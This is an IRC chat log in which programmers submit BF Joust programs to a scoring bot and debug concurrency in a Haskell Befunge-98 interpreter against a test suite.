22:23:08 <elliott_> Gregor: that is amazing
22:23:10 <Gregor> Vorpal: I think it's a nice start :P
22:23:12 <Vorpal> <Gregor> I believe it's official that everyone who isn't me hates http://codu.org/tmp/jungle-2011-02-08-1.ogg X-P <-- cool
22:23:18 <Vorpal> Gregor, awesome start
22:23:27 <Gregor> quintopia: HAVE YOUR MOFO LINK http://codu.org/music/e/superturing/superturing.ogg
22:23:29 <Vorpal> Gregor, a bit short yeah
22:23:39 <Gregor> Well it is just a start :P
22:23:46 <impomatic> !bfjoust spawn_of_evil http://www.lichttuete.com/temp/a6.txt
22:23:48 <quintopia> :D :D :D
22:24:09 <Gregor> I reaaaaally need to replace the trombone on that >_>
22:24:31 <Vorpal> impomatic, can we wait for the previous ones to finish?
22:24:42 <EgoBot> Score for Vorpal_nop: 7.8
22:24:43 <EgoBot> Score for impomatic_spawn_of_evil: 33.3
22:24:46 <impomatic> !bfjoust in_the_dark_of_night http://www.lichttuete.com/temp/a7.txt
22:25:07 <oerjan> technically he did wait
22:25:09 <ais523> impomatic: were you working on all those while egobot was down?
22:25:14 <impomatic> That's it for now... I daren't submit a8 or a9 :-(
22:25:34 <EgoBot> Score for impomatic_in_the_dark_of_night: 29.5
22:25:37 <elliott_> oerjan: hmm where do I put a new IP
22:25:39 <impomatic> ais523: no, they're all the submissions that I messed up by submitting HTML!
22:25:42 <elliott_> oerjan: I want to insert an element in the zipper-queue before the current one
22:25:46 <elliott_> oerjan: cons to the second list?
22:25:49 <ais523> impomatic: aha
22:25:53 <oerjan> elliott_: yeah
22:26:14 <ais523> wow, defend10 is shooting back up the leaderboard
22:26:18 <Vorpal> impomatic, that website looks very familiar! XD
22:26:24 <impomatic> Apart from the two which kill Egobot... (which I'm expecting to do well)
22:26:27 <Vorpal> impomatic, that is "http://www.lichttuete.com/"
22:26:34 <elliott_> Deewiant: Cloned IPs get the same storage offset, right?
22:26:48 <Deewiant> Right.
22:26:52 <Deewiant> I'm pretty sure, anyway.
22:27:31 <quintopia> !bfjoust juggernaut_bitch (.)*48(>[-[++[>>>>>[>(+)*20[[-]]+]]]](+)*9)*22
22:27:44 <impomatic> Vorpal: I'm slowly translating it to various languages. Started with German because it covers quite a few counties :-)
22:27:45 <Vorpal> elliott_, some fingerprints copy their IP specific data on clone. But not all
22:27:50 <EgoBot> Score for quintopia_juggernaut_bitch: 16.9
22:27:53 <elliott_> Vorpal: You're kidding me.
22:27:54 <Vorpal> elliott_, just something to considering when doing fingerprints later on
22:27:58 <Vorpal> elliott_, no I'm not
22:28:03 <elliott_> Wonderful!
22:28:16 <quintopia> !bfjoust juggernaut_bitch (.)*48(>[-[++[>>>>>[>(+)*5[[-]]+]]]](+)*5)*22
22:28:17 <elliott_> Good thing my fingerprint mechanism is SO ELEGANT that I can just make it part of the class.
22:28:24 * Phantom_Hoover → sleep
22:28:24 -!- Phantom_Hoover has left (?).
22:28:29 <Vorpal> elliott_, yeah better get that right from the start :P
22:28:32 <elliott_> Deewiant: Going to test concurrent execution with 2 IPs.
22:28:32 <elliott_> Assuming that instructions without any particular concurrency-related behaviour, such as ^>v<#, take one tick.
22:28:32 <elliott_> Will continue to produce textual output, so strings must work correctly where concurrency is concerned: "a b" should take 5 ticks, 'a should take 1.
22:28:34 <elliott_> [HANG]
22:28:35 <ais523> impomatic: is that your day job?
22:28:37 <EgoBot> Score for quintopia_juggernaut_bitch: 10.7
22:28:49 <elliott_> Vorpal: Actually it's pretty extensible.
22:29:02 <quintopia> !bfjoust juggernaut_bitch (.)*48(>[-[++[>>>>>[>(+)*20[[-]]+]]]](+)*5)*22
22:29:04 <elliott_> Vorpal: Since I plan to generate the instances with Template Haskell I can easily add in new bits to flip.
22:29:15 <Vorpal> elliott_, in particular I think HRTI reset it's data. But not completely sure.
22:29:17 <EgoBot> Score for quintopia_juggernaut_bitch: 12.0
22:29:19 <Vorpal> I do remember some did at least
22:29:27 <elliott_> Deewiant: What does it mean if concurrent testing hangs? :P
22:29:42 <Vorpal> elliott_, how will do you MODE? Will you at all?
22:29:44 <Deewiant> elliott_: You keep rerunning the same IP, maybe? One of them goes to a ><
22:29:50 <elliott_> Vorpal: What does MODE do?
22:29:53 <quintopia> !bfjoust juggernaut_bitch (.)*48(>[-[++[>>>>>[>(+)*20[[-]]+]]]]+)*22
22:29:54 <impomatic> ais523: yes. Only takes a couple of hours per day though so I spend the rest of the day messing with old computers ;-)
22:30:00 <elliott_> oerjan: modifyIPs $ \(xs,ys) -> (xs, newIP:ys)
22:30:09 <elliott_> rotate ([ip],r) = (reverse r ++ [ip], [])
22:30:11 <elliott_> So it turns into
22:30:14 <elliott_> ([newIP,ip], [])
22:30:19 <elliott_> And then possibly
22:30:22 <Vorpal> elliott_, it's feral. It adds mode where stuff behave differently. Like making > < ^ v "strafe" IP instead of turn it
22:30:23 <EgoBot> Score for quintopia_juggernaut_bitch: 4.5
22:30:25 <elliott_> ([ip], [newIP])
22:30:29 <elliott_> And so on.
22:30:30 <elliott_> So that looks fine.
22:30:38 <Vorpal> elliott_, I'm pretty sure ccbi implements it
22:30:41 <Gregor> Lesse if I just broke everything.
22:30:43 <Vorpal> it is catseye btw
22:30:49 <Gregor> !bfjoust suicide <
22:30:55 <elliott_> Vorpal: I plan to have some sort of feral mechanism for overloading core instructions.
22:30:58 <oerjan> elliott_: thought so. r is the set ip's already visited in this cycle.
22:31:03 <EgoBot> Score for Gregor_suicide: 0.0
22:31:06 <elliott_> Vorpal: And hooking into the interpreter loop.
22:31:12 <elliott_> oerjan: right. so that's correct.
22:31:15 <quintopia> !bfjoust juggernaut_bitch (.)*48(>[-[++[>>>>>[>(+)*20[[-]]+]]]](+)*13>[-[++[>>>>>[>(+)*20[[-]]+]]]](-)*13)*11
22:31:15 <Vorpal> elliott_, and isn't there one fingerprint that turn the stack into a double-ended queue
22:31:17 -!- pikhq_ has changed nick to pikhq.
22:31:19 * elliott_ tries printing the current ip
22:31:19 <Vorpal> elliott_, yes I think there is
22:31:21 <elliott_> Vorpal: Seriously?
22:31:24 <Vorpal> elliott_, yes
22:31:31 <elliott_> Vorpal: I'll just do that the inefficient way, because fuck that :P
22:31:33 <Vorpal> elliott_, I don't implement it though. But CCBI does
22:31:33 <EgoBot> Score for quintopia_juggernaut_bitch: 17.3
22:31:35 <oerjan> *+of
22:31:36 <ais523> Gregor: it leaves the old report up while the new one generates?
22:31:42 <quintopia> :D
22:31:44 <elliott_> Deewiant: Do you implement MVRS?
22:31:48 <Gregor> ais523: That was the plan, but it now seems to leave the old report up forever :P
22:31:55 <Vorpal> elliott_, you *know* the answer to that one
22:31:57 <Deewiant> Haven't done it
22:32:00 <elliott_> Vorpal: "Yes"?
22:32:09 <Vorpal> elliott_, oh I thought you said MKRY :P
22:32:11 <Deewiant> It shouldn't be too much trouble though
22:32:20 <elliott_> Deewiant: Do you/will you implement MKRY?
22:32:24 <impomatic> How much can my bfjoust program expand to without crashing Egobot? I want to try something...
22:32:24 <elliott_> I can clarify the spec if you would like :D
22:32:25 <Deewiant> No :-P
22:32:30 <elliott_> Deewiant: Why not
22:32:36 <elliott_> It'd take like 5 lines
22:32:38 <Deewiant> It's a new level of pointlessness
22:32:54 <elliott_> Deewiant: As opposed to writing pages and pages of efficient wrapping code for an obscure esoteric language with almost no users
22:32:56 <Deewiant> And it's really just a troll aimed at Mike :-P
22:33:19 <elliott_> Deewiant: Hey, I'm the one who defended RC/Funge :P
22:33:31 <oerjan> impomatic: note that ()* with matching parentheses doesn't expand
22:33:44 <ais523> I think that sort of trolling nowadays is in bad taste
22:33:47 <Deewiant> At least figuring out the AABB stuff was a fun mental exercise
22:33:52 <Vorpal> ais523, I agree
22:33:54 <Gregor> !bfjoust suicide_again <
22:34:02 <Vorpal> Deewiant, AABB?
22:34:13 <ais523> Gregor: did anything change?
22:34:15 <EgoBot> Score for Gregor_suicide_again: 0.0
22:34:26 <Deewiant> Vorpal: Axis-aligned bounding box.
22:34:29 <Gregor> ais523: Doesn't seem so.
22:34:30 <Vorpal> Deewiant, ah
22:34:33 <Gregor> Bleh, borklebork.
22:34:34 <elliott_> Deewiant: So is figuring out whether "3 to 15" is inclusive or exclusive on each end.
22:34:47 <ais523> Deewiant: it must go to war with the Allied-aligned bounding box!
22:34:49 <elliott_> Deewiant: And whether that one instruction pushes eeeeeeeeeeeeeeee or eheheehhhhhehe.
22:34:51 <Deewiant> elliott_: No, that's something that can be left to an RNG
22:35:01 <Vorpal> elliott_, this is why you write (3,15] or such
22:35:02 <Deewiant> ais523: Hah :-D
22:35:05 <Vorpal> if that is what you mean
22:35:17 <elliott_> Vorpal: Because MKRY was designed to be clear and unambiguous!
22:35:18 <Vorpal> ais523, "meh"
22:35:32 <Gregor> !bfjoust lol_that_script_didnt_parse <
22:35:41 <EgoBot> Score for Gregor_lol_that_script_didnt_parse: 0.0
22:35:50 <Vorpal> elliott_, <ais523> I think that sort of trolling nowadays is in bad taste
22:35:52 <nescience> !bfjoust test []->>>>>>>>>([-])*21
22:35:52 <Gregor> There we go.
22:36:04 <impomatic> !bfjoust egodeath http://www.lichttuete.com/temp/a10.txt
22:36:24 <elliott_> ais523: *shrug* I've never had any problem with Mike at all. :p
22:36:36 <EgoBot> Score for nescience_test: 8.4
22:36:59 <Vorpal> Gregor, yay it no longer blanks the scoreboard when running
22:37:01 <Vorpal> Gregor++
22:37:07 <ais523> `run ps aux | grep e\go | grep -v report
22:37:09 <HackEgo> 5000 10296 0.0 0.1 45960 1440 ? S 22:46 0:00 su - egobot \ 5000 11850 0.0 0.1 9516 1532 ? S 22:57 0:00 /bin/bash PRIVMSG/tr_21.cmd PRIVMSG #esoteric !bfjoust egodeath http://www.lichttuete.com/temp/a10.txt \ 5000 11861 0.0 0.1 9532 1616 ? S 22:57 0:00 /bin/bash
22:37:30 <elliott_> Deewiant: Yay, I forgot to do all the things I need to do
22:37:30 <ais523> `run ps aux | grep e\go | grep -v report | grep -v PRIVMSG
22:37:31 <HackEgo> 5000 10296 0.0 0.1 45960 1440 ? S 22:46 0:00 su - egobot \ 5000 11890 21.0 1.2 20176 12612 ? RN 22:57 0:17 ../egojoust Deewiant_maglev.bfjoust impomatic_egodeath.bfjoust \ 1208341 12162 0.0 0.0 4324 904 ? SN 22:58 0:00 grep /bin/grep ego \ 5000 20832 0.0 0.0 33884
22:37:45 <ais523> yep, egodeath really does seem to give it problems
22:37:46 <Vorpal> ais523, nice but somewhat verbose status report
22:37:52 <nescience> !bfjoust test <
22:37:54 <ais523> a pity, because I want to write that sort of program too
22:38:03 <Deewiant> elliott_: Which ones
22:38:09 <Vorpal> `run ps aux | grep PRIVMSG
22:38:12 <HackEgo> 5000 11850 0.0 0.1 9516 1532 ? S 22:57 0:00 /bin/bash PRIVMSG/tr_21.cmd PRIVMSG #esoteric !bfjoust egodeath http://www.lichttuete.com/temp/a10.txt \ 5000 11861 0.0 0.1 9532 1616 ? S 22:57 0:00 /bin/bash scmds/bfjoust bfjoust egodeath http://www.lichttuete.com/temp/a10.txt PRIVMSG
22:38:16 <ais523> maybe I can figure out a way to patch the interp
22:38:17 <Vorpal> aha
22:38:18 <elliott_> Deewiant: Thingsy things
22:38:31 <impomatic> !bfjoust egodeath <
22:38:38 <nescience> lol I have avoided that kind of expansion because it's too evil
22:38:41 <Vorpal> impomatic, won't help when running
22:38:46 <EgoBot> Score for impomatic_egodeath: 0.0
22:38:47 <EgoBot> Score for nescience_test: 0.0
22:38:47 <EgoBot> Score for impomatic_egodeath: 0.0
22:38:48 <oerjan> `run ps aux | grep -i porn
22:38:53 <Vorpal> ah
22:38:56 <Vorpal> Gregor, that seems wrong
22:39:01 * oerjan whistles innocently
22:39:05 <Vorpal> how could it score 0.0 (the original one)
22:39:08 <ais523> `run ps aux | grep e\go | grep -v report | grep -v PRIVMSG
22:39:09 <HackEgo> 5000 12576 0.0 0.1 8908 1244 ? S 23:00 0:00 /bin/bash PRIVMSG/tr_60.cmd PRIVMSG #esoteric `run ps aux | grep -i porn \ 5000 12595 0.0 0.0 8908 536 ? S 23:00 0:00 /bin/bash PRIVMSG/tr_60.cmd PRIVMSG #esoteric `run ps aux | grep -i porn \ 5000 12598 0.0 0.0 8912 508 ?
22:39:10 <HackEgo> 5000 10296 0.0 0.1 45960 1440 ? S 22:46 0:00 su - egobot \ 5000 11890 19.9 1.2 20176 12708 ? TN 22:57 0:36 ../egojoust Deewiant_maglev.bfjoust impomatic_egodeath.bfjoust \ 5000 12251 17.1 1.2 20176 12584 ? RN 22:59 0:13 ../egojoust Deewiant_maglev.bfjoust impomatic_egodeath.bfjoust
22:39:13 <nescience> I was thinking earlier you could add an instruction like
22:39:14 <Vorpal> aha
22:39:14 <ais523> Vorpal: cache effects
22:39:21 <Vorpal> ais523, what?
22:39:33 <nescience> "if zero break loop"
22:39:42 <Gregor> If you run it twice with the same name, it'll switch partway through and go crazy X_X
22:39:50 <Vorpal> nescience, like "goto" in brainfuck XD
22:39:51 <nescience> so that you don't need to do ridiculous nested [] expansions
22:40:06 <Vorpal> Gregor, ouch
22:40:07 <impomatic> !bfjoust egodeath http://www.lichttuete.com/temp/a10.txt
22:40:15 <impomatic> I think I fixed my program :-)
22:40:17 <nescience> except it'd only goto the appropriate ]
22:40:20 <Vorpal> impomatic, let it run to end?
22:40:20 <elliott_> Gregor: :D
22:40:27 <elliott_> Gregor: omg you could make a program that wins on half
22:40:30 <elliott_> and one that wins on the other half
22:40:31 <elliott_> and swap it
22:40:36 <ais523> impomatic: that was the sort of use I envisaged when I added % to the lang
22:40:38 <elliott_> nescience: The point of BF Joust is to stay close to Brainfuck
22:40:40 <ais523> on the basis that interps could optimise it
22:40:41 <elliott_> nescience: Not doing that leads to FYB :P
22:40:44 <Vorpal> elliott_, somewhat tricky to get timing right
22:40:50 <Vorpal> elliott_, but sure could be done
22:40:56 <nescience> alternatel evaluate % loops without expansion
22:41:02 <ais523> elliott_: you can actually produce arbitrary control flow by making 2^n copies of your program
22:41:06 <elliott_> Deewiant: The IP's location after t, and the location that the created IP will start at, are the same, yes?
22:41:17 -!- oerjan has quit (Quit: Good night).
22:41:18 <ais523> it seems egodeath is still killing egobot, though
22:41:26 <Vorpal> ais523, they can't optimise it very well when you need to interleave turns
22:41:26 <elliott_> <nescience> alternatel evaluate % loops without expansion
22:41:27 <elliott_> lance did thaaat
22:41:28 <Gregor> >_<
22:41:29 <impomatic> Used ( [ { something } ] something )%xxxx and hopefully it doesn't kill egobot
22:41:32 <nescience> anyway it would be close to brainfuck though
22:41:33 <Deewiant> elliott_: Er, no? One reverses, one doesn't?
22:41:42 <elliott_> Deewiant: ...oh :-D
22:41:44 <ais523> impomatic: egojoust unrolls all %-loops
22:41:51 <ais523> it may be patchable not to
22:41:51 <nescience> oh that was the guy I was explaining it to I think
22:41:52 <nescience> lance
22:42:07 <nescience> it dedfinitely is doable
22:42:12 <nescience> I worked it out before
22:42:17 <ais523> my original bf joust interp expanded % loops lazily
22:42:31 <elliott_> nescience: that was the guy?
22:42:45 <elliott_> lance was the name of my bf joust interpreter, but egojoust got finished first, with the features i invented for lance
22:42:50 <nescience> I remember explaining it to someone who used it
22:43:03 <ais523> impomatic: try changing the 10000 to 100, to see if it helps
22:43:04 <elliott_> GOOD: basic concurrency seems to work
22:43:05 <elliott_> BAD: reflected IP didn't copy stack
22:43:05 <elliott_> PCahrielndt IIPP:: IIDD 0
22:43:05 <elliott_> 1
22:43:05 <elliott_> BAD: parent IP executed prior to child IP
22:43:05 <elliott_> baADD: tBaAkDe:s ]l edsose stnh'atn w5o rtki cakts a
22:43:06 <elliott_> lask1eap B
22:43:08 <nescience> oh, maybe I am confused. it sounded familiar like a name
22:43:08 <impomatic> ais523: ah, I guess I'd can't get egodeath to work then :-/
22:43:08 <elliott_> :
22:43:10 <elliott_> GOO)OGO:elliott@elliott-MacBookAir:~/mycology$
22:43:13 <elliott_> Deewiant: For your entertainment ^
22:43:19 <ais523> impomatic: I know, I'm upset for the same reason, as I wanted to do something much like that
22:43:19 <Deewiant> elliott_: Wait'll you get to TRDS
22:43:25 <Vorpal> <elliott_> baADD: tBaAkDe:s ]l edsose stnh'atn w5o rtki cakts a
22:43:27 <Vorpal> awesome
22:43:49 <Vorpal> elliott_, I seen this sort of things too (though not this exact one)
22:43:54 <elliott_> Deewiant: Whoo boy :P
22:43:55 <Vorpal> <elliott_> lask1eap B
22:43:58 <Vorpal> like flask but not lask
22:43:59 <Deewiant> That's only two threads outputting, that's not that bad
22:44:24 <Vorpal> <ais523> impomatic: I know, I'm upset for the same reason, as I wanted to do something much like that <-- get Gregor to fix it?
22:44:31 <elliott_> let newIP =
22:44:31 <elliott_> ip{ ipNum = maxIPNum + 1
22:44:31 <elliott_> , ray = Ray (pos + reflection delta) (reflection delta) }
22:44:31 <elliott_> modify $ \fs -> fs{ maxIPNumber = maxIPNum + 1 }
22:44:33 <Vorpal> ais523, or send him a patch!
22:44:33 <ais523> it's far from a trivial fix
22:44:33 <elliott_> modifyIPs $ \(xs,ys) -> (xs, newIP:ys)
22:44:36 <ais523> it'd make more sense to send a patch
22:44:38 <elliott_> Deewiant: I SEE NOTHING WRONG
22:44:40 <elliott_> Deewiant: Or, wai
22:44:41 <elliott_> *wait
22:44:46 <elliott_> Deewiant: Is (pos + reflection delta) wrong there?
22:44:55 <elliott_> Well
22:44:58 <elliott_> Apart from it being pos - delta >_<
22:45:04 <Vorpal> elliott_, aren't you doing the fork bomb literal spec variant?
22:45:06 <elliott_> Cool, reflection is just negate now
22:45:18 <pikhq> Deewiant: TRDS would be easy with the time travel monad. :P
22:45:24 <impomatic> !bfjoust egodeath http://www.lichttuete.com/temp/a10.txt changed to 100
22:45:27 <Vorpal> pikhq, :D
22:45:46 -!- amca has joined.
22:46:09 <ais523> impomatic: at least it's running now
22:46:13 <elliott_> Vorpal: Not that I know of.
22:46:19 <elliott_> Vorpal: That's why I move the IP on spawn.
22:46:21 <ais523> but it's tying with defend7, etc, so there's probably a logic error somewhere
22:46:24 <EgoBot> Score for impomatic_egodeath: 8.4
22:46:25 <EgoBot> Score for impomatic_egodeath: 8.4
22:46:29 <Vorpal> elliott_, YOU MUST FOLLOW SPEC!
22:46:30 <Vorpal> ;P
22:46:50 <impomatic> ais523: I use a lot of ( {} ) - maybe I can replace most of them with () ()
22:46:56 <elliott_> Vorpal: I've long since realised that Mycology is Deewiant's sneaky tool to make everyone think the spec says what he wants it to say :P
22:47:06 <Deewiant> elliott_: Shh!
22:47:15 <elliott_> Test suite my ass
22:47:18 <Vorpal> elliott_, hah :P
22:47:21 <ais523> impomatic: yep, it's probably best to use () () if there are no square brackets, and ({}) if there are
22:47:33 <ais523> and (a{b}c)%n == (a)*nb(c)*n
22:47:52 <Vorpal> elliott_, in part you are right in fact. In part it is a good test suite. Besides he did the sensible thing in many cases.
22:47:56 <Vorpal> (though not all)
22:48:17 <elliott_> To be fair, when he does differently to the spec it's because the spec is downright useless.
22:48:24 <elliott_> Although I still think that form feeds should be read into fungespace.
22:48:48 <Vorpal> elliott_, I think form feed handling is more consistent this way
22:48:56 <elliott_> Vorpal: But the spec doesn't even begin to say that.
22:48:58 <Vorpal> elliott_, since for unefunge \n is skipped
22:49:19 <elliott_> Again, I'd prefer it only disagree with the spec when taking the spec's side would result in an absolutely useless language :P
22:49:20 <Vorpal> elliott_, for befunge form feed should be skipped since form feed is for trefunge what \n is for befunge
22:49:29 <elliott_> Again, I'd prefer it only disagree with the spec when taking the spec's side would result in an absolutely useless language :P
22:49:42 <Vorpal> elliott_, I read what you said and repeating it won't help
22:49:54 <elliott_> Again, I'd prefer it only disagree with the spec when taking the spec's side would result in an absolutely useless language :PAgain, I'd prefer it only disagree with the spec when taking the spec's side would result in an absolutely useless language :PAgain, I'd prefer it only disagree with the spec when taking the spec's side would result in an absolutely useless language :P
22:49:56 <elliott_> Whee
22:49:57 <Deewiant> elliott_: Your _ annoys me
22:50:07 -!- elliott_ has changed nick to elliott__.
22:50:09 <elliott__> Is that better?
22:50:18 <Vorpal> elliott__, besides it started with rc/funge incrementing the z coord in befunge mode!
22:50:19 <Deewiant> Actually it is a bit
22:50:21 <Vorpal> on form feed
22:50:25 <elliott__> Vorpal: :-D
22:51:09 <impomatic> !bfjoust egodeath http://www.lichttuete.com/temp/a11.txt
22:51:15 <Vorpal> elliott__, anyway do you handle the truncation-instead-of-overflow thing for & correctly yet?
22:51:26 <elliott__> Not yet.
22:51:50 <Vorpal> elliott__, you might want to do it base-agnostic. Then you can reuse it when implementing the fingerprint BASE
22:52:00 <ais523> $ ./egojoust defend7.bj impomatic_egodeath.bj 21 1
22:52:01 <ais523> realloc: Cannot allocate memory
22:52:02 <elliott__> Reuse all 5 lines?
22:52:07 <ais523> and that's with %100, not %10000
22:52:10 <Vorpal> elliott__, oh right. Not C :P
22:52:27 <EgoBot> Score for impomatic_egodeath: 42.9
22:52:39 <ais523> impomatic: aha, that looks much better
22:52:41 <ais523> what did you fix?
22:53:02 <elliott__> I blame oerjan for this
22:53:22 <Deewiant> impomatic: Stop making things that beat monorail but lose to steamroller
22:53:31 <elliott__> Deewiant: Seriously though... when you spawn the new IP, you spawn it one delta backwards, right?
22:53:37 <elliott__> *one of your delta
22:53:40 <elliott__> With its delta negated.
22:53:48 <Deewiant> Yeah, I'd say so
22:53:53 <elliott__> Deewiant: And then it goes to the next instruction (toNextIns, not advance) on its first tick?
22:53:57 <elliott__> i.e. skips over spaces.
22:54:12 <Deewiant> Presumably
22:54:23 <impomatic> ais523: Increased the count to 300 which should wait long enough for some opponents some of the time. Need it higher really, not sure how high I can go. Also got rid of as many ( {} ) % n as possible
22:54:33 <ais523> ah, I assumed there was a logic fix there too
22:54:39 <elliott__> Deewiant: So, uh, "reflected IP didn't copy stack" ... wait
22:54:40 <elliott__> WAIT
22:54:45 <elliott__> The stack is per-IP, isn't it?
22:54:48 <Deewiant> Stop the presses!!
22:54:52 * elliott__ EPIC FUCKING FACEPALM
22:54:53 <Deewiant> Yes, it is
22:55:01 <elliott__> Deewiant: Is the stack-stack per-IP?
22:55:03 <Deewiant> Yes, it is
22:55:03 <impomatic> !bfjoust egodeath http://www.lichttuete.com/temp/a11.txt
22:55:08 <elliott__> Deewiant: :D
22:55:11 <elliott__> Deewiant: Am I retarded?
22:55:14 <Deewiant> Yes, it is
22:55:18 <elliott__> Yes, it am.
22:55:39 <elliott__> Deewiant: Stop laughing.
22:55:47 <Vorpal> ahahahahahahahahahahahahaha....
22:55:50 <Vorpal> sorry can't stop
22:55:53 <elliott__> X-D
22:55:56 <ais523> Vorpal: *ehehehehhehehhhehehe
22:56:02 <elliott__> ais523: I thought that was in poor taste
22:56:03 <Vorpal> ais523, no I'm not him
22:56:14 <ais523> elliott__: it's mocking you mocking Mike
22:56:20 <elliott__> ais523: Nice excuse :P
22:56:29 <Deewiant> Mike used commas, not periods
22:56:31 <EgoBot> Score for impomatic_egodeath: 41.7
22:56:36 <elliott__> Deewiant: Both
22:56:41 <Deewiant> Mostly commas
22:56:43 <elliott__> But commas more often after (e|h)^n, yes.
22:57:12 -!- sixdej1 has joined.
22:57:12 <impomatic> !bfjoust egodeath http://www.lichttuete.com/temp/a11.txt
22:58:32 <EgoBot> Score for impomatic_egodeath: 42.6
22:58:40 -!- Mathnerd314 has quit (Ping timeout: 240 seconds).
22:59:06 <ais523> !bfjoust defend11 http://sprunge.us/gdOE
22:59:08 <impomatic> !bfjoust egodeath http://www.lichttuete.com/temp/a11.txt
22:59:08 <elliott__> Shiro/Monad.hs:127:0:
22:59:08 <elliott__> Couldn't match expected type `IP'
22:59:08 <elliott__> against inferred type `FungeState'
22:59:08 <elliott__> When using functional dependencies to combine
22:59:08 <elliott__> MonadState s (StateT s m),
22:59:09 <elliott__> arising from the dependency `m -> s'
22:59:11 <elliott__> That's what I like to hear!
23:00:14 -!- sixdej has quit (Ping timeout: 240 seconds).
23:00:30 <ais523> impomatic: breakdown.txt's got all confused, somehow
23:01:01 <ais523> I think it's writing in the middle of the file
23:01:04 <ais523> seems to be running, though
23:01:47 <impomatic> Hmmm... I never noticed breakdown.txt before!
23:01:57 <elliott__> Deewiant: All concurrency tests passed.
23:01:57 -!- sixdej1 has changed nick to sixdej.
23:02:00 <elliott__> impomatic: It's new.
23:02:03 <Deewiant> elliott__: Now do TRDS!
23:02:06 <elliott__> Deewiant: FUCK YEA, THAT WAS ACTUALLY PRETTY EASY -- NO
23:02:08 <ais523> and apparently broken in a really odd way
23:02:17 <elliott__> Deewiant: So, I have one single BAD now (o doesn't do text mode yet).
23:02:27 <elliott__> Deewiant: The rest are all GOOD, or UNDEFs that you agree with.
23:02:43 <elliott__> real0m1.783s
23:02:43 <elliott__> Oh.
23:02:43 <EgoBot> Score for impomatic_egodeath: 42.6
23:02:43 <EgoBot> Score for ais523_defend11: 5.8
23:02:50 <elliott__> Deewiant: GUESS WHY IT'S SO FAST
23:02:53 <impomatic> !bfjoust egodeath http://www.lichttuete.com/temp/a11.txt
23:02:59 <Deewiant> elliott__: ghc -O2 instead of ghci? :-D
23:03:00 <elliott__> -- TODO: @ for multiple IPs
23:03:00 <elliott__> doCharIns '@' = io exitSuccess
23:03:03 <elliott__> Deewiant: ^
23:03:06 <elliott__> Nope, I always use -O2.
23:03:07 <Deewiant> Ha :-D
23:03:55 <EgoBot> Score for impomatic_egodeath: 43.5
23:03:59 <impomatic> !bfjoust egodeath http://www.lichttuete.com/temp/a11.txt
23:04:34 <ais523> wow, defend9's shot up the leaderboard
23:04:59 <EgoBot> Score for impomatic_egodeath: 47.0
23:05:02 <ais523> it's even overtaken defend10
23:05:08 <Deewiant> Most of impomatic's stuff appears to lose to it
23:05:10 <coppro> where's the leaderboard?
23:05:25 <impomatic> !bfjoust egodeath http://www.lichttuete.com/temp/a11.txt
23:05:34 <ais523> http://codu.org/eso/bfjoust/report.txt
23:05:46 <ais523> I guess the new programs are starting to be all too predictable again
23:06:24 <EgoBot> Score for impomatic_egodeath: 43.7
23:06:28 -!- FireFly has quit (Quit: swatted to death).
23:07:13 <impomatic> !bfjoust egodeath http://www.lichttuete.com/temp/a11.txt
23:07:24 <coppro> where did mine go :(
23:07:46 <coppro> !bfjoust dumdum (>(+..)*254)*100
23:08:10 <elliott__> Deewiant: I pass all concurrency tests and don't fail afterwards, woo
23:08:22 <coppro> EgoBot is ignoring me :(
23:08:23 <Deewiant> All you need is TRDS
23:08:27 <elliott__> About to test, using ROMA, whether t copies the parent IP's loaded fingerprint semantics to the child IP.
23:08:28 <elliott__> This is unmentioned in the specification, and thus is UNDEF.
23:08:30 <elliott__> Deewiant: What should I aim for
23:08:30 <EgoBot> Score for impomatic_egodeath: 46.4
23:08:32 <EgoBot> Score for coppro_dumdum: 19.0
23:08:53 <Deewiant> elliott__: ccbi mycology.b98
23:09:01 <elliott__> Deewiant: Not biased I see
23:09:08 -!- Mathnerd314 has joined.
23:09:10 <elliott__> UNDEF: IVXLCDM didn't reflect: child IP has ROMA loaded
23:09:12 <elliott__> Agreed :P
23:09:12 <Deewiant> elliott__: You asked for my "should aim for" on an UNDEF
23:09:13 <impomatic> !bfjoust egodeath http://www.lichttuete.com/temp/a11.txt
23:09:19 <ais523> !bfjoust defend11 http://sprunge.us/CBFF
23:09:22 <Deewiant> elliott__: There is no unbiased answer to such a question
23:09:31 <elliott__> Deewiant: CCBI could fail to live up to your perfect expectations, I guess
23:09:46 <Deewiant> elliott__: Sure, but you can't complain about bias whether I answer with ccbi or not
23:10:00 <elliott__> Shaddap :P
23:10:12 <elliott__> Okay hm.
23:10:26 <elliott__> Deewiant: Should I add text mode support to o or start with cleanup and fingerprints
23:10:27 <EgoBot> Score for impomatic_egodeath: 44.6
23:10:48 <Deewiant> elliott__: Go for TRDS if you want to do the least work
23:10:59 <EgoBot> Score for ais523_defend11: 5.3
23:11:01 <elliott__> Deewiant: What kind of definition of "work" are you using here
23:11:07 -!- Sgeo has joined.
23:11:26 <Deewiant> elliott__: I mean that you'll give up on Befunge-98 if you start doing it
23:11:34 <elliott__> :-D
23:11:51 <impomatic> !bfjoust egodeath http://www.lichttuete.com/temp/a11.txt
23:11:52 <elliott__> Deewiant: I do love how tiny the original TRDS spec is compared to the implementation guide.
23:11:59 <elliott__> Time travel, no big deal, we all know how to do that right?
23:12:11 <Deewiant> The guide doesn't actually add that much, it mostly restates a bunch of the original
23:12:21 <elliott__> Deewiant: And hey -- this is my third day of constant work on it. This is *unprecedented* project commitment for me.
23:12:46 <Deewiant> Hence I'm pushing you towards TRDS, to prevent the fourth
23:12:55 <elliott__> Deewiant: Do you not like Shiro? :-P
23:13:10 <Deewiant> I'm just testing you :-D
23:13:25 <elliott__> Deewiant: I'll try TRDS, but not before I get everything else done :p
23:13:25 <EgoBot> Score for impomatic_egodeath: 45.5
23:13:44 <impomatic> !bfjoust control http://www.lichttuete.com/temp/a12.txt
23:13:53 <elliott__> Deewiant: Do you implement text-mode IO in a more clever way than just preprocessing the binary mode output?
23:13:58 <elliott__> I want to know whether to feel bad about doing it like that.
23:14:22 <Deewiant> I don't think there is another way
23:14:34 <Deewiant> By "everything else", do you mean all other fingerprints? :-D
23:14:44 <Deewiant> Because if so, that should take a while
23:15:28 <EgoBot> Score for impomatic_control: 24.5
23:16:14 <elliott__> Deewiant: Pretty much, yes.
23:16:23 <elliott__> Deewiant: I can't imagine there's any fingerprints more difficult to implement than MVRS and TRDS.
23:16:24 <ais523> !bfjoust defend11 http://sprunge.us/aTNI
23:16:37 <EgoBot> Score for ais523_defend11: 0.0
23:16:41 <Deewiant> Hmm
23:17:00 <Deewiant> elliott__: IFFI? ;-)
23:17:13 <elliott__> Deewiant: Vorpal did IFFI and he won't do TRDS :-P
